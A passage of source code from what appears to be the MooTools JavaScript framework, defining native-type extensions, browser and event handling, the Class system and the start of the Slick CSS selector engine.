	'pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift', 'concat', 'join', 'slice',
	'indexOf', 'lastIndexOf', 'filter', 'forEach', 'every', 'map', 'some', 'reduce', 'reduceRight'
])('Number', Number, [
	'toExponential', 'toFixed', 'toLocaleString', 'toPrecision'
])('Function', Function, [
	'apply', 'call', 'bind'
])('RegExp', RegExp, [
	'exec', 'test'
])('Object', Object, [
	'create', 'defineProperty', 'defineProperties', 'keys',
	'getPrototypeOf', 'getOwnPropertyDescriptor', 'getOwnPropertyNames',
	'preventExtensions', 'isExtensible', 'seal', 'isSealed', 'freeze', 'isFrozen'
])('Date', Date, ['now']);

Object.extend = extend.overloadSetter();

Date.extend('now', function(){
	return +(new Date);
});

new Type('Boolean', Boolean);

// fixes NaN returning as Number

Number.prototype.$family = function(){
	return isFinite(this) ? 'number' : 'null';
}.hide();

// Number.random

Number.extend('random', function(min, max){
	return Math.floor(Math.random() * (max - min + 1) + min);
});

// forEach, each

var hasOwnProperty = Object.prototype.hasOwnProperty;
Object.extend('forEach', function(object, fn, bind){
	for (var key in object){
		if (hasOwnProperty.call(object, key)) fn.call(bind, object[key], key, object);
	}
});

Object.each = Object.forEach;

Array.implement({

	forEach: function(fn, bind){
		for (var i = 0, l = this.length; i < l; i++){
			if (i in this) fn.call(bind, this[i], i, this);
		}
	},

	each: function(fn, bind){
		Array.forEach(this, fn, bind);
		return this;
	}

});

// Array & Object cloning, Object merging and appending

var cloneOf = function(item){
	switch (typeOf(item)){
		case 'array': return item.clone();
		case 'object': return Object.clone(item);
		default: return item;
	}
};

Array.implement('clone', function(){
	var i = this.length, clone = new Array(i);
	while (i--) clone[i] = cloneOf(this[i]);
	return clone;
});

var mergeOne = function(source, key, current){
	switch (typeOf(current)){
		case 'object':
			if (typeOf(source[key]) == 'object') Object.merge(source[key], current);
			else source[key] = Object.clone(current);
		break;
		case 'array': source[key] = current.clone(); break;
		default: source[key] = current;
	}
	return source;
};

Object.extend({

	merge: function(source, k, v){
		if (typeOf(k) == 'string') return mergeOne(source, k, v);
		for (var i = 1, l = arguments.length; i < l; i++){
			var object = arguments[i];
			for (var key in object) mergeOne(source, key, object[key]);
		}
		return source;
	},

	clone: function(object){
		var clone = {};
		for (var key in object) clone[key] = cloneOf(object[key]);
		return clone;
	},

	append: function(original){
		for (var i = 1, l = arguments.length; i < l; i++){
			var extended = arguments[i] || {};
			for (var key in extended) original[key] = extended[key];
		}
		return original;
	}

});

// Object-less types

['Object', 'WhiteSpace', 'TextNode', 'Collection', 'Arguments'].each(function(name){
	new Type(name);
});

// Unique ID

var UID = Date.now();

String.extend('uniqueID', function(){
	return (UID++).toString(36);
});



})();


/*
---

name: Array

description: Contains Array Prototypes like each, contains, and erase.

license: MIT-style license.

requires: Type

provides: Array

...
*/

Array.implement({

	/*<!ES5>*/
	every: function(fn, bind){
		for (var i = 0, l = this.length >>> 0; i < l; i++){
			if ((i in this) && !fn.call(bind, this[i], i, this)) return false;
		}
		return true;
	},

	filter: function(fn, bind){
		var results = [];
		for (var value, i = 0, l = this.length >>> 0; i < l; i++) if (i in this){
			value = this[i];
			if (fn.call(bind, value, i, this)) results.push(value);
		}
		return results;
	},

	indexOf: function(item, from){
		var length = this.length >>> 0;
		for (var i = (from < 0) ? Math.max(0, length + from) : from || 0; i < length; i++){
			if (this[i] === item) return i;
		}
		return -1;
	},

	map: function(fn, bind){
		var length = this.length >>> 0, results = Array(length);
		for (var i = 0; i < length; i++){
			if (i in this) results[i] = fn.call(bind, this[i], i, this);
		}
		return results;
	},

	some: function(fn, bind){
		for (var i = 0, l = this.length >>> 0; i < l; i++){
			if ((i in this) && fn.call(bind, this[i], i, this)) return true;
		}
		return false;
	},
	/*</!ES5>*/

	clean: function(){
		return this.filter(function(item){
			return item != null;
		});
	},

	invoke: function(methodName){
		var args = Array.slice(arguments, 1);
		return this.map(function(item){
			return item[methodName].apply(item, args);
		});
	},

	associate: function(keys){
		var obj = {}, length = Math.min(this.length, keys.length);
		for (var i = 0; i < length; i++) obj[keys[i]] = this[i];
		return obj;
	},

	link: function(object){
		var result = {};
		for (var i = 0, l = this.length; i < l; i++){
			for (var key in object){
				if (object[key](this[i])){
					result[key] = this[i];
					delete object[key];
					break;
				}
			}
		}
		return result;
	},

	contains: function(item, from){
		return this.indexOf(item, from) != -1;
	},

	append: function(array){
		this.push.apply(this, array);
		return this;
	},

	getLast: function(){
		return (this.length) ? this[this.length - 1] : null;
	},

	getRandom: function(){
		return (this.length) ? this[Number.random(0, this.length - 1)] : null;
	},

	include: function(item){
		if (!this.contains(item)) this.push(item);
		return this;
	},

	combine: function(array){
		for (var i = 0, l = array.length; i < l; i++) this.include(array[i]);
		return this;
	},

	erase: function(item){
		for (var i = this.length; i--;){
			if (this[i] === item) this.splice(i, 1);
		}
		return this;
	},

	empty: function(){
		this.length = 0;
		return this;
	},

	flatten: function(){
		var array = [];
		for (var i = 0, l = this.length; i < l; i++){
			var type = typeOf(this[i]);
			if (type == 'null') continue;
			array = array.concat((type == 'array' || type == 'collection' || type == 'arguments' || instanceOf(this[i], Array)) ? Array.flatten(this[i]) : this[i]);
		}
		return array;
	},

	pick: function(){
		for (var i = 0, l = this.length; i < l; i++){
			if (this[i] != null) return this[i];
		}
		return null;
	},

	hexToRgb: function(array){
		if (this.length != 3) return null;
		var rgb = this.map(function(value){
			if (value.length == 1) value += value;
			return value.toInt(16);
		});
		return (array) ? rgb : 'rgb(' + rgb + ')';
	},

	rgbToHex: function(array){
		if (this.length < 3) return null;
		if (this.length == 4 && this[3] == 0 && !array) return 'transparent';
		var hex = [];
		for (var i = 0; i < 3; i++){
			var bit = (this[i] - 0).toString(16);
			hex.push((bit.length == 1) ? '0' + bit : bit);
		}
		return (array) ? hex : '#' + hex.join('');
	}

});




/*
---

name: String

description: Contains String Prototypes like camelCase, capitalize, test, and toInt.

license: MIT-style license.

requires: Type

provides: String

...
*/

String.implement({

	test: function(regex, params){
		return ((typeOf(regex) == 'regexp') ? regex : new RegExp('' + regex, params)).test(this);
	},

	contains: function(string, separator){
		return (separator) ? (separator + this + separator).indexOf(separator + string + separator) > -1 : String(this).indexOf(string) > -1;
	},

	trim: function(){
		return String(this).replace(/^\s+|\s+$/g, '');
	},

	clean: function(){
		return String(this).replace(/\s+/g, ' ').trim();
	},

	camelCase: function(){
		return String(this).replace(/-\D/g, function(match){
			return match.charAt(1).toUpperCase();
		});
	},

	hyphenate: function(){
		return String(this).replace(/[A-Z]/g, function(match){
			return ('-' + match.charAt(0).toLowerCase());
		});
	},

	capitalize: function(){
		return String(this).replace(/\b[a-z]/g, function(match){
			return match.toUpperCase();
		});
	},

	escapeRegExp: function(){
		return String(this).replace(/([-.*+?^${}()|[\]\/\\])/g, '\\$1');
	},

	toInt: function(base){
		return parseInt(this, base || 10);
	},

	toFloat: function(){
		return parseFloat(this);
	},

	hexToRgb: function(array){
		var hex = String(this).match(/^#?(\w{1,2})(\w{1,2})(\w{1,2})$/);
		return (hex) ? hex.slice(1).hexToRgb(array) : null;
	},

	rgbToHex: function(array){
		var rgb = String(this).match(/\d{1,3}/g);
		return (rgb) ? rgb.rgbToHex(array) : null;
	},

	substitute: function(object, regexp){
		return String(this).replace(regexp || (/\\?\{([^{}]+)\}/g), function(match, name){
			if (match.charAt(0) == '\\') return match.slice(1);
			return (object[name] != null) ? object[name] : '';
		});
	}

});


/*
---

name: Number

description: Contains Number Prototypes like limit, round, times, and ceil.

license: MIT-style license.

requires: Type

provides: Number

...
*/

Number.implement({

	limit: function(min, max){
		return Math.min(max, Math.max(min, this));
	},

	round: function(precision){
		precision = Math.pow(10, precision || 0).toFixed(precision < 0 ? -precision : 0);
		return Math.round(this * precision) / precision;
	},

	times: function(fn, bind){
		for (var i = 0; i < this; i++) fn.call(bind, i, this);
	},

	toFloat: function(){
		return parseFloat(this);
	},

	toInt: function(base){
		return parseInt(this, base || 10);
	}

});

Number.alias('each', 'times');

(function(math){
	var methods = {};
	math.each(function(name){
		if (!Number[name]) methods[name] = function(){
			return Math[name].apply(null, [this].concat(Array.from(arguments)));
		};
	});
	Number.implement(methods);
})(['abs', 'acos', 'asin', 'atan', 'atan2', 'ceil', 'cos', 'exp', 'floor', 'log', 'max', 'min', 'pow', 'sin', 'sqrt', 'tan']);


/*
---

name: Function

description: Contains Function Prototypes like create, bind, pass, and delay.

license: MIT-style license.

requires: Type

provides: Function

...
*/

Function.extend({

	attempt: function(){
		for (var i = 0, l = arguments.length; i < l; i++){
			try {
				return arguments[i]();
			} catch (e){}
		}
		return null;
	}

});

Function.implement({

	attempt: function(args, bind){
		try {
			return this.apply(bind, Array.from(args));
		} catch (e){}

		return null;
	},

	/*<!ES5-bind>*/
	bind: function(that){
		var self = this,
			args = arguments.length > 1 ? Array.slice(arguments, 1) : null,
			F = function(){};

		var bound = function(){
			var context = that, length = arguments.length;
			if (this instanceof bound){
				F.prototype = self.prototype;
				context = new F;
			}
			var result = (!args && !length)
				? self.call(context)
				: self.apply(context, args && length ? args.concat(Array.slice(arguments)) : args || arguments);
			return context == that ? result : context;
		};
		return bound;
	},
	/*</!ES5-bind>*/

	pass: function(args, bind){
		var self = this;
		if (args != null) args = Array.from(args);
		return function(){
			return self.apply(bind, args || arguments);
		};
	},

	delay: function(delay, bind, args){
		return setTimeout(this.pass((args == null ? [] : args), bind), delay);
	},

	periodical: function(periodical, bind, args){
		return setInterval(this.pass((args == null ? [] : args), bind), periodical);
	}

});




/*
---

name: Object

description: Object generic methods

license: MIT-style license.

requires: Type

provides: [Object, Hash]

...
*/

(function(){

var hasOwnProperty = Object.prototype.hasOwnProperty;

Object.extend({

	subset: function(object, keys){
		var results = {};
		for (var i = 0, l = keys.length; i < l; i++){
			var k = keys[i];
			if (k in object) results[k] = object[k];
		}
		return results;
	},

	map: function(object, fn, bind){
		var results = {};
		for (var key in object){
			if (hasOwnProperty.call(object, key)) results[key] = fn.call(bind, object[key], key, object);
		}
		return results;
	},

	filter: function(object, fn, bind){
		var results = {};
		for (var key in object){
			var value = object[key];
			if (hasOwnProperty.call(object, key) && fn.call(bind, value, key, object)) results[key] = value;
		}
		return results;
	},

	every: function(object, fn, bind){
		for (var key in object){
			if (hasOwnProperty.call(object, key) && !fn.call(bind, object[key], key)) return false;
		}
		return true;
	},

	some: function(object, fn, bind){
		for (var key in object){
			if (hasOwnProperty.call(object, key) && fn.call(bind, object[key], key)) return true;
		}
		return false;
	},

	keys: function(object){
		var keys = [];
		for (var key in object){
			if (hasOwnProperty.call(object, key)) keys.push(key);
		}
		return keys;
	},

	values: function(object){
		var values = [];
		for (var key in object){
			if (hasOwnProperty.call(object, key)) values.push(object[key]);
		}
		return values;
	},

	getLength: function(object){
		return Object.keys(object).length;
	},

	keyOf: function(object, value){
		for (var key in object){
			if (hasOwnProperty.call(object, key) && object[key] === value) return key;
		}
		return null;
	},

	contains: function(object, value){
		return Object.keyOf(object, value) != null;
	},

	toQueryString: function(object, base){
		var queryString = [];

		Object.each(object, function(value, key){
			if (base) key = base + '[' + key + ']';
			var result;
			switch (typeOf(value)){
				case 'object': result = Object.toQueryString(value, key); break;
				case 'array':
					var qs = {};
					value.each(function(val, i){
						qs[i] = val;
					});
					result = Object.toQueryString(qs, key);
				break;
				default: result = key + '=' + encodeURIComponent(value);
			}
			if (value != null) queryString.push(result);
		});

		return queryString.join('&');
	}

});

})();




/*
---

name: Browser

description: The Browser Object. Contains Browser initialization, Window and Document, and the Browser Hash.

license: MIT-style license.

requires: [Array, Function, Number, String]

provides: [Browser, Window, Document]

...
*/

(function(){

var document = this.document;
var window = document.window = this;

var ua = navigator.userAgent.toLowerCase(),
	platform = navigator.platform.toLowerCase(),
	UA = ua.match(/(opera|ie|firefox|chrome|version)[\s\/:]([\w\d\.]+)?.*?(safari|version[\s\/:]([\w\d\.]+)|$)/) || [null, 'unknown', 0],
	mode = UA[1] == 'ie' && document.documentMode;

var Browser = this.Browser = {

	extend: Function.prototype.extend,

	name: (UA[1] == 'version') ? UA[3] : UA[1],

	version: mode || parseFloat((UA[1] == 'opera' && UA[4]) ? UA[4] : UA[2]),

	Platform: {
		name: ua.match(/ip(?:ad|od|hone)/) ? 'ios' : (ua.match(/(?:webos|android)/) || platform.match(/mac|win|linux/) || ['other'])[0]
	},

	Features: {
		xpath: !!(document.evaluate),
		air: !!(window.runtime),
		query: !!(document.querySelector),
		json: !!(window.JSON)
	},

	Plugins: {}

};

Browser[Browser.name] = true;
Browser[Browser.name + parseInt(Browser.version, 10)] = true;
Browser.Platform[Browser.Platform.name] = true;

// Request

Browser.Request = (function(){

	var XMLHTTP = function(){
		return new XMLHttpRequest();
	};

	var MSXML2 = function(){
		return new ActiveXObject('MSXML2.XMLHTTP');
	};

	var MSXML = function(){
		return new ActiveXObject('Microsoft.XMLHTTP');
	};

	return Function.attempt(function(){
		XMLHTTP();
		return XMLHTTP;
	}, function(){
		MSXML2();
		return MSXML2;
	}, function(){
		MSXML();
		return MSXML;
	});

})();

Browser.Features.xhr = !!(Browser.Request);

// Flash detection

var version = (Function.attempt(function(){
	return navigator.plugins['Shockwave Flash'].description;
}, function(){
	return new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version');
}) || '0 r0').match(/\d+/g);

Browser.Plugins.Flash = {
	version: Number(version[0] || '0.' + version[1]) || 0,
	build: Number(version[2]) || 0
};

// String scripts

Browser.exec = function(text){
	if (!text) return text;
	if (window.execScript){
		window.execScript(text);
	} else {
		var script = document.createElement('script');
		script.setAttribute('type', 'text/javascript');
		script.text = text;
		document.head.appendChild(script);
		document.head.removeChild(script);
	}
	return text;
};

String.implement('stripScripts', function(exec){
	var scripts = '';
	var text = this.replace(/<script[^>]*>([\s\S]*?)<\/script>/gi, function(all, code){
		scripts += code + '\n';
		return '';
	});
	if (exec === true) Browser.exec(scripts);
	else if (typeOf(exec) == 'function') exec(scripts, text);
	return text;
});

// Window, Document

Browser.extend({
	Document: this.Document,
	Window: this.Window,
	Element: this.Element,
	Event: this.Event
});

this.Window = this.$constructor = new Type('Window', function(){});

this.$family = Function.from('window').hide();

Window.mirror(function(name, method){
	window[name] = method;
});

this.Document = document.$constructor = new Type('Document', function(){});

document.$family = Function.from('document').hide();

Document.mirror(function(name, method){
	document[name] = method;
});

document.html = document.documentElement;
if (!document.head) document.head = document.getElementsByTagName('head')[0];

if (document.execCommand) try {
	document.execCommand("BackgroundImageCache", false, true);
} catch (e){}

/*<ltIE9>*/
if (this.attachEvent && !this.addEventListener){
	var unloadEvent = function(){
		this.detachEvent('onunload', unloadEvent);
		document.head = document.html = document.window = null;
	};
	this.attachEvent('onunload', unloadEvent);
}

// IE fails on collections and <select>.options (refers to <select>)
var arrayFrom = Array.from;
try {
	arrayFrom(document.html.childNodes);
} catch(e){
	Array.from = function(item){
		if (typeof item != 'string' && Type.isEnumerable(item) && typeOf(item) != 'array'){
			var i = item.length, array = new Array(i);
			while (i--) array[i] = item[i];
			return array;
		}
		return arrayFrom(item);
	};

	var prototype = Array.prototype,
		slice = prototype.slice;
	['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift', 'concat', 'join', 'slice'].each(function(name){
		var method = prototype[name];
		Array[name] = function(item){
			return method.apply(Array.from(item), slice.call(arguments, 1));
		};
	});
}
/*</ltIE9>*/



})();


/*
---

name: Event

description: Contains the Event Type, to make the event object cross-browser.

license: MIT-style license.

requires: [Window, Document, Array, Function, String, Object]

provides: Event

...
*/

(function() {

var _keys = {};

var DOMEvent = this.DOMEvent = new Type('DOMEvent', function(event, win){
	if (!win) win = window;
	event = event || win.event;
	if (event.$extended) return event;
	this.event = event;
	this.$extended = true;
	this.shift = event.shiftKey;
	this.control = event.ctrlKey;
	this.alt = event.altKey;
	this.meta = event.metaKey;
	var type = this.type = event.type;
	var target = event.target || event.srcElement;
	while (target && target.nodeType == 3) target = target.parentNode;
	this.target = document.id(target);

	if (type.indexOf('key') == 0){
		var code = this.code = (event.which || event.keyCode);
		this.key = _keys[code];
		if (type == 'keydown'){
			if (code > 111 && code < 124) this.key = 'f' + (code - 111);
			else if (code > 95 && code < 106) this.key = code - 96;
		}
		if (this.key == null) this.key = String.fromCharCode(code).toLowerCase();
	} else if (type == 'click' || type == 'dblclick' || type == 'contextmenu' || type == 'DOMMouseScroll' || type.indexOf('mouse') == 0){
		var doc = win.document;
		doc = (!doc.compatMode || doc.compatMode == 'CSS1Compat') ? doc.html : doc.body;
		this.page = {
			x: (event.pageX != null) ? event.pageX : event.clientX + doc.scrollLeft,
			y: (event.pageY != null) ? event.pageY : event.clientY + doc.scrollTop
		};
		this.client = {
			x: (event.pageX != null) ? event.pageX - win.pageXOffset : event.clientX,
			y: (event.pageY != null) ? event.pageY - win.pageYOffset : event.clientY
		};
		if (type == 'DOMMouseScroll' || type == 'mousewheel')
			this.wheel = (event.wheelDelta) ? event.wheelDelta / 120 : -(event.detail || 0) / 3;

		this.rightClick = (event.which == 3 || event.button == 2);
		if (type == 'mouseover' || type == 'mouseout'){
			var related = event.relatedTarget || event[(type == 'mouseover' ? 'from' : 'to') + 'Element'];
			while (related && related.nodeType == 3) related = related.parentNode;
			this.relatedTarget = document.id(related);
		}
	} else if (type.indexOf('touch') == 0 || type.indexOf('gesture') == 0){
		this.rotation = event.rotation;
		this.scale = event.scale;
		this.targetTouches = event.targetTouches;
		this.changedTouches = event.changedTouches;
		var touches = this.touches = event.touches;
		if (touches && touches[0]){
			var touch = touches[0];
			this.page = {x: touch.pageX, y: touch.pageY};
			this.client = {x: touch.clientX, y: touch.clientY};
		}
	}

	if (!this.client) this.client = {};
	if (!this.page) this.page = {};
});

DOMEvent.implement({

	stop: function(){
		return this.preventDefault().stopPropagation();
	},

	stopPropagation: function(){
		if (this.event.stopPropagation) this.event.stopPropagation();
		else this.event.cancelBubble = true;
		return this;
	},

	preventDefault: function(){
		if (this.event.preventDefault) this.event.preventDefault();
		else this.event.returnValue = false;
		return this;
	}

});

DOMEvent.defineKey = function(code, key){
	_keys[code] = key;
	return this;
};

DOMEvent.defineKeys = DOMEvent.defineKey.overloadSetter(true);

DOMEvent.defineKeys({
	'38': 'up', '40': 'down', '37': 'left', '39': 'right',
	'27': 'esc', '32': 'space', '8': 'backspace', '9': 'tab',
	'46': 'delete', '13': 'enter'
});

})();






/*
---

name: Class

description: Contains the Class Function for easily creating, extending, and implementing reusable Classes.

license: MIT-style license.

requires: [Array, String, Function, Number]

provides: Class

...
*/

(function(){

var Class = this.Class = new Type('Class', function(params){
	if (instanceOf(params, Function)) params = {initialize: params};

	var newClass = function(){
		reset(this);
		if (newClass.$prototyping) return this;
		this.$caller = null;
		var value = (this.initialize) ? this.initialize.apply(this, arguments) : this;
		this.$caller = this.caller = null;
		return value;
	}.extend(this).implement(params);

	newClass.$constructor = Class;
	newClass.prototype.$constructor = newClass;
	newClass.prototype.parent = parent;

	return newClass;
});

var parent = function(){
	if (!this.$caller) throw new Error('The method "parent" cannot be called.');
	var name = this.$caller.$name,
		parent = this.$caller.$owner.parent,
		previous = (parent) ? parent.prototype[name] : null;
	if (!previous) throw new Error('The method "' + name + '" has no parent.');
	return previous.apply(this, arguments);
};

var reset = function(object){
	for (var key in object){
		var value = object[key];
		switch (typeOf(value)){
			case 'object':
				var F = function(){};
				F.prototype = value;
				object[key] = reset(new F);
			break;
			case 'array': object[key] = value.clone(); break;
		}
	}
	return object;
};

var wrap = function(self, key, method){
	if (method.$origin) method = method.$origin;
	var wrapper = function(){
		if (method.$protected && this.$caller == null) throw new Error('The method "' + key + '" cannot be called.');
		var caller = this.caller, current = this.$caller;
		this.caller = current; this.$caller = wrapper;
		var result = method.apply(this, arguments);
		this.$caller = current; this.caller = caller;
		return result;
	}.extend({$owner: self, $origin: method, $name: key});
	return wrapper;
};

var implement = function(key, value, retain){
	if (Class.Mutators.hasOwnProperty(key)){
		value = Class.Mutators[key].call(this, value);
		if (value == null) return this;
	}

	if (typeOf(value) == 'function'){
		if (value.$hidden) return this;
		this.prototype[key] = (retain) ? value : wrap(this, key, value);
	} else {
		Object.merge(this.prototype, key, value);
	}

	return this;
};

var getInstance = function(klass){
	klass.$prototyping = true;
	var proto = new klass;
	delete klass.$prototyping;
	return proto;
};

Class.implement('implement', implement.overloadSetter());

Class.Mutators = {

	Extends: function(parent){
		this.parent = parent;
		this.prototype = getInstance(parent);
	},

	Implements: function(items){
		Array.from(items).each(function(item){
			var instance = new item;
			for (var key in instance) implement.call(this, key, instance[key], true);
		}, this);
	}
};

})();


/*
---

name: Class.Extras

description: Contains Utility Classes that can be implemented into your own Classes to ease the execution of many common tasks.

license: MIT-style license.

requires: Class

provides: [Class.Extras, Chain, Events, Options]

...
*/

(function(){

this.Chain = new Class({

	$chain: [],

	chain: function(){
		this.$chain.append(Array.flatten(arguments));
		return this;
	},

	callChain: function(){
		return (this.$chain.length) ? this.$chain.shift().apply(this, arguments) : false;
	},

	clearChain: function(){
		this.$chain.empty();
		return this;
	}

});

var removeOn = function(string){
	return string.replace(/^on([A-Z])/, function(full, first){
		return first.toLowerCase();
	});
};

this.Events = new Class({

	$events: {},

	addEvent: function(type, fn, internal){
		type = removeOn(type);

		

		this.$events[type] = (this.$events[type] || []).include(fn);
		if (internal) fn.internal = true;
		return this;
	},

	addEvents: function(events){
		for (var type in events) this.addEvent(type, events[type]);
		return this;
	},

	fireEvent: function(type, args, delay){
		type = removeOn(type);
		var events = this.$events[type];
		if (!events) return this;
		args = Array.from(args);
		events.each(function(fn){
			if (delay) fn.delay(delay, this, args);
			else fn.apply(this, args);
		}, this);
		return this;
	},

	removeEvent: function(type, fn){
		type = removeOn(type);
		var events = this.$events[type];
		if (events && !fn.internal){
			var index =  events.indexOf(fn);
			if (index != -1) delete events[index];
		}
		return this;
	},

	removeEvents: function(events){
		var type;
		if (typeOf(events) == 'object'){
			for (type in events) this.removeEvent(type, events[type]);
			return this;
		}
		if (events) events = removeOn(events);
		for (type in this.$events){
			if (events && events != type) continue;
			var fns = this.$events[type];
			for (var i = fns.length; i--;) if (i in fns){
				this.removeEvent(type, fns[i]);
			}
		}
		return this;
	}

});

this.Options = new Class({

	setOptions: function(){
		var options = this.options = Object.merge.apply(null, [{}, this.options].append(arguments));
		if (this.addEvent) for (var option in options){
			if (typeOf(options[option]) != 'function' || !(/^on[A-Z]/).test(option)) continue;
			this.addEvent(option, options[option]);
			delete options[option];
		}
		return this;
	}

});

})();


/*
---
name: Slick.Parser
description: Standalone CSS3 Selector parser
provides: Slick.Parser
...
*/

;(function(){

var parsed,
	separatorIndex,
	combinatorIndex,
	reversed,
	cache = {},
	reverseCache = {},
	reUnescape = /\\/g;

var parse = function(expression, isReversed){
	if (expression == null) return null;
	if (expression.Slick === true) return expression;
	expression = ('' + expression).replace(/^\s+|\s+$/g, '');
	reversed = !!isReversed;
	var currentCache = (reversed) ? reverseCache : cache;
	if (currentCache[expression]) return currentCache[expression];
	parsed = {
		Slick: true,
		expressions: [],
		raw: expression,
		reverse: function(){
			return parse(this.raw, true);
		}
	};
	separatorIndex = -1;
	while (expression != (expression = expression.replace(regexp, parser)));
	parsed.length = parsed.expressions.length;
	return currentCache[parsed.raw] = (reversed) ? reverse(parsed) : parsed;
};

var reverseCombinator = function(combinator){
	if (combinator === '!') return ' ';
	else if (combinator === ' ') return '!';
	else if ((/^!/).test(combinator)) return combinator.replace(/^!/, '');
	else return '!' + combinator;
};

var reverse = function(expression){
	var expressions = expression.expressions;
	for (var i = 0; i < expressions.length; i++){
		var exp = expressions[i];
		var last = {parts: [], tag: '*', combinator: reverseCombinator(exp[0].combinator)};

		for (var j = 0; j < exp.length; j++){
			var cexp = exp[j];
			if (!cexp.reverseCombinator) cexp.reverseCombinator = ' ';
			cexp.combinator = cexp.reverseCombinator;
			delete cexp.reverseCombinator;
		}

		exp.reverse().push(last);
	}
	return expression;
};

var escapeRegExp = function(string){// Credit: XRegExp 0.6.1 (c) 2007-2008 Steven Levithan <http://stevenlevithan.com/regex/xregexp/> MIT License
	return string.replace(/[-[\]{}()*+?.\\^$|,#\s]/g, function(match){
		return '\\' + match;
	});
};

var regexp = new RegExp(
/*
#!/usr/bin/env ruby
puts "\t\t" + DATA.read.gsub(/\(\?x\)|\s+#.*$|\s+|\\$|\\n/,'')
__END__
	"(?x)^(?:\
	  \\s* ( , ) \\s*               # Separator          \n\
	| \\s* ( <combinator>+ ) \\s*   # Combinator         \n\
	|      ( \\s+ )                 # CombinatorChildren \n\
	|      ( <unicode>+ | \\* )     # Tag                \n\
	| \\#  ( <unicode>+       )     # ID                 \n\
	| \\.  ( <unicode>+       )     # ClassName          \n\
	|                               # Attribute          \n\
	\\[  \
		\\s* (<unicode1>+)  (?:  \
			\\s* ([*^$!~|]?=)  (?:  \
				\\s* (?:\
					([\"']?)(.*?)\\9 \
				)\
			)  \
		)?  \\s*  \
	\\](?!\\]) \n\
	|   :+ ( <unicode>+ )(?:\
	\\( (?:\
		(?:([\"'])([^\\12]*)\\12)|((?:\\([^)]+\\)|[^()]*)+)\
	) \\)\
	)?\
	)"
*/
	"^(?:\\s*(,)\\s*|\\s*(<combinator>+)\\s*|(\\s+)|(<unicode>+|\\*)|\\#(<unicode>+)|\\.(<unicode>+)|\\[\\s*(<unicode1>+)(?:\\s*([*^$!~|]?=)(?:\\s*(?:([\"']?)(.*?)\\9)))?\\s*\\](?!\\])|(:+)(<unicode>+)(?:\\((?:(?:([\"'])([^\\13]*)\\13)|((?:\\([^)]+\\)|[^()]*)+))\\))?)"
	.replace(/<combinator>/, '[' + escapeRegExp(">+~`!@$%^&={}\\;</") + ']')
	.replace(/<unicode>/g, '(?:[\\w\\u00a1-\\uFFFF-]|\\\\[^\\s0-9a-f])')
	.replace(/<unicode1>/g, '(?:[:\\w\\u00a1-\\uFFFF-]|\\\\[^\\s0-9a-f])')
);

function parser(
	rawMatch,

	separator,
	combinator,
	combinatorChildren,

	tagName,
	id,
	className,

	attributeKey,
	attributeOperator,
	attributeQuote,
	attributeValue,

	pseudoMarker,
	pseudoClass,
	pseudoQuote,
	pseudoClassQuotedValue,
	pseudoClassValue
){
	if (separator || separatorIndex === -1){
		parsed.expressions[++separatorIndex] = [];
		combinatorIndex = -1;
		if (separator) return '';
	}

	if (combinator || combinatorChildren || combinatorIndex === -1){
		combinator = combinator || ' ';
		var currentSeparator = parsed.expressions[separatorIndex];
		if (reversed && currentSeparator[combinatorIndex])
			currentSeparator[combinatorIndex].reverseCombinator = reverseCombinator(combinator);
		currentSeparator[++combinatorIndex] = {combinator: combinator, tag: '*'};
	}

	var currentParsed = parsed.expressions[separatorIndex][combinatorIndex];

	if (tagName){
		currentParsed.tag = tagName.replace(reUnescape, '');

	} else if (id){
		currentParsed.id = id.replace(reUnescape, '');

	} else if (className){
		className = className.replace(reUnescape, '');

		if (!currentParsed.classList) currentParsed.classList = [];
		if (!currentParsed.classes) currentParsed.classes = [];
		currentParsed.classList.push(className);
		currentParsed.classes.push({
			value: className,
			regexp: new RegExp('(^|\\s)' + escapeRegExp(className) + '(\\s|$)')
		});

	} else if (pseudoClass){
		pseudoClassValue = pseudoClassValue || pseudoClassQuotedValue;
		pseudoClassValue = pseudoClassValue ? pseudoClassValue.replace(reUnescape, '') : null;

		if (!currentParsed.pseudos) currentParsed.pseudos = [];
		currentParsed.pseudos.push({
			key: pseudoClass.replace(reUnescape, ''),
			value: pseudoClassValue,
			type: pseudoMarker.length == 1 ? 'class' : 'element'
		});

	} else if (attributeKey){
		attributeKey = attributeKey.replace(reUnescape, '');
		attributeValue = (attributeValue || '').replace(reUnescape, '');

		var test, regexp;

		switch (attributeOperator){
			case '^=' : regexp = new RegExp(       '^'+ escapeRegExp(attributeValue)            ); break;
			case '$=' : regexp = new RegExp(            escapeRegExp(attributeValue) +'$'       ); break;
			case '~=' : regexp = new RegExp( '(^|\\s)'+ escapeRegExp(attributeValue) +'(\\s|$)' ); break;
			case '|=' : regexp = new RegExp(       '^'+ escapeRegExp(attributeValue) +'(-|$)'   ); break;
			case  '=' : test = function(value){
				return attributeValue == value;
			}; break;
			case '*=' : test = function(value){
				return value && value.indexOf(attributeValue) > -1;
			}; break;
			case '!=' : test = function(value){
				return attributeValue != value;
			}; break;
			default   : test = function(value){
				return !!value;
			};
		}

		if (attributeValue == '' && (/^[*$^]=$/).test(attributeOperator)) test = function(){
			return false;
		};

		if (!test) test = function(value){
			return value && regexp.test(value);
		};

		if (!currentParsed.attributes) currentParsed.attributes = [];
		currentParsed.attributes.push({
			key: attributeKey,
			operator: attributeOperator,
			value: attributeValue,
			test: test
		});

	}

	return '';
};

// Slick NS

var Slick = (this.Slick || {});

Slick.parse = function(expression){
	return parse(expression);
};

Slick.escapeRegExp = escapeRegExp;

if (!this.Slick) this.Slick = Slick;

}).apply(/*<CommonJS>*/(typeof exports != 'undefined') ? exports : /*</CommonJS>*/this);


/*
---
name: Slick.Finder
description: The new, superfast css selector engine.
provides: Slick.Finder
requires: Slick.Parser
...
*/

;(function(){

var local = {},
	featuresCache = {},
	toString = Object.prototype.toString;

// Feature / Bug detection

local.isNativeCode = function(fn){
	return (/\{\s*\[native code\]\s*\}/).test('' + fn);
};

local.isXML = function(document){
	return (!!document.xmlVersion) || (!!document.xml) || (toString.call(document) == '[object XMLDocument]') ||
	(document.nodeType == 9 && document.documentElement.nodeName != 'HTML');
};

local.setDocument = function(document){

	// convert elements / window arguments to document. if document cannot be extrapolated, the function returns.
	var nodeType = document.nodeType;
	if (nodeType == 9); // document
	else if (nodeType) document = document.ownerDocument; // node
	else if (document.navigator) document = document.document; // window
	else return;

	// check if it's the old document

	if (this.document === document) return;
	this.document = document;

	// check if we have done feature detection on this document before

	var root = document.documentElement,
